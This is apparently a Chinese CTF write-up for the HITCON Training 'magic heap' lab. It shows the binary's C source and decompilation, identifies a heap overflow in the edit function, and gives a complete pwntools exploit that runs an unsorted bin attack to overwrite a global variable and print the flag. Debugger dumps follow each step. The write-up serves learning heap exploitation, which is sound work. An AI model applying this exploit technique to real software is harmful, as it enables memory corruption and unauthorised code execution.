HITCON Training lab14 magic heap

First Post:

Last Update:

Word Count:
1.2k

Read Time:
6 min

Page View: loading...

unsortedbin_attack(例题)

查看保护

Snipaste_2023-09-13_21-07-19.png

文件没开PIE,got表可写,开启了Canary和NX保护,64位程序。

程序源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf, size_t size) {
int ret;
ret = read(0, buf, size);
if (ret <= 0) {
puts("Error");
_exit(-1);
}
}

char *heaparray[10];
unsigned long int magic = 0;

void menu() {
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}

void create_heap() {
int i;
char buf[8];
size_t size = 0;
for (i = 0; i < 10; i++) {
if (!heaparray[i]) {
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if (!heaparray[i]) {
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
break;
}
}
}

void edit_heap() {
int idx;
char buf[4];
size_t size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10) {
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx]) {
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
puts("Done !");
} else {
puts("No such heap !");
}
}

void delete_heap() {
int idx;
char buf[4];
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10) {
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx]) {
free(heaparray[idx]);
heaparray[idx] = NULL;
puts("Done !");
} else {
puts("No such heap !");
}
}

void l33t() { system("cat ./flag"); }

int main() {
char buf[8];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while (1) {
menu();
read(0, buf, 8);
switch (atoi(buf)) {
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
delete_heap();
break;
case 4:
exit(0);
break;
case 4869:
if (magic > 4869) {
puts("Congrt !");
l33t();
} else
puts("So sad !");
break;
default:
puts("Invalid Choice");
break;
}
}
return 0;
}

IDA静态分析

main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 4869 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

看一看就行,接下来看具体函数功能

l33t 存在后门函数

1
2
3
4
int l33t()
{
return system("cat /home/magicheap/flag");
}

全局变量

1
2
3
4
5
6
7
8
9
.bss:00000000006020B9                 align 20h
.bss:00000000006020C0 public magic
.bss:00000000006020C0 ; __int64 magic
.bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public heaparray
.bss:00000000006020E0 ; heap *heaparray[10]
.bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r
.bss:00000000006020E0 ; create_heap+8C↑w ...

magic :00000000006020C0

heap_ptr :00000000006020E0

meau函数

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

打印菜单

create函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = (heap *)malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

输入大小,创建相应大小的堆

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
size_t v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

重新输入大小,更新内容,大小由我们定,存在堆溢出哦!!!

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

正常free操作,指针清0,不存在uaf

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./magicheap')
p = remote('node4.buuoj.cn',29691)

def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)


def edit(idx, size, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)


def delete(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))

def debug():
gdb.attach(p)
pause()

heap_ptr = 0x6020E0
magic = 0x6020C0
goal = magic - 0x10

# 申请一个small chunk
create(0x10,'a'*8)
create(0x410,'b'*8) #chunk0
# 申请一个chunk1防 chunk0 合并
create(500,'c'*8)
#debug()
delete(1)
#debug()
payload = p64(0)*3 + p64(0x421) + p64(0) + p64(goal)
edit(0,len(payload),payload)
#debug()
create(0x410,"666")
#debug()
p.sendline("4869")
p.interactive()

创建两个chunk

1
2
3
4
0x1a65000:	0x0000000000000000	0x0000000000000021	//chunk0
0x1a65010: 0x6161616161616161 0x000000000000000a
0x1a65020: 0x0000000000000000 0x0000000000000421 //chunk1
0x1a65030: 0x6262626262626262 0x000000000000000a

申请的 chunk(500) 以防止合并

1
2
0x1a65440:	0x0000000000000000	0x0000000000000201	//chunk3
0x1a65450: 0x6363636363636363 0x000000000000000a

free掉small chunk,被放入到 unsorted bin 中

1
2
3
4
0x1a65000:	0x0000000000000000	0x0000000000000021
0x1a65010: 0x6161616161616161 0x000000000000000a
0x1a65020: 0x0000000000000000 0x0000000000000421
0x1a65030: 0x00007f9bd595bb78 0x00007f9bd595bb78
1
2
unsortedbin
all: 0x1a65020 —▸ 0x7f9bd595bb78 (main_arena+88) ◂— 0x1a65020

被放入unsorted bin 中

观察全局变量

1
2
3
4
5
0x6020c0 <magic>:	0x0000000000000000	0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray>: 0x0000000001a65010 0x0000000000000000
#chunk1已经被free
0x6020f0 <heaparray+16>: 0x0000000001a65450 0x0000000000000000

溢出到目的位置

通过对chunk 0 进行溢出 修改 chunk1 的 bk 指针,到magic-0x10的位置

1
2
3
4
5
pwndbg> x/16gx 0x1a65000
0x1a65000: 0x0000000000000000 0x0000000000000021
0x1a65010: 0x0000000000000000 0x0000000000000000
0x1a65020: 0x0000000000000000 0x0000000000000421
0x1a65030: 0x0000000000000000 0x00000000006020b0 // bk -> magic - 0x10

再申请一个 大小大于 small chunk 且 小与刚刚 释放的chunk 的大小的 chunk

1
2
0x6020b0 <stdin@@GLIBC_2.2.5>:	0x00007f9bd595b8e0	0x0000000000000000
0x6020c0 <magic>: 0x00007f9bd595bb78 0x0000000000000000

可以看到magic 已经被改成了0x00007f9bd595bb78,这个值是main_arena+88

最后我们输入 4869 就可以打印flag 了

flag{unsorted_bin_attack}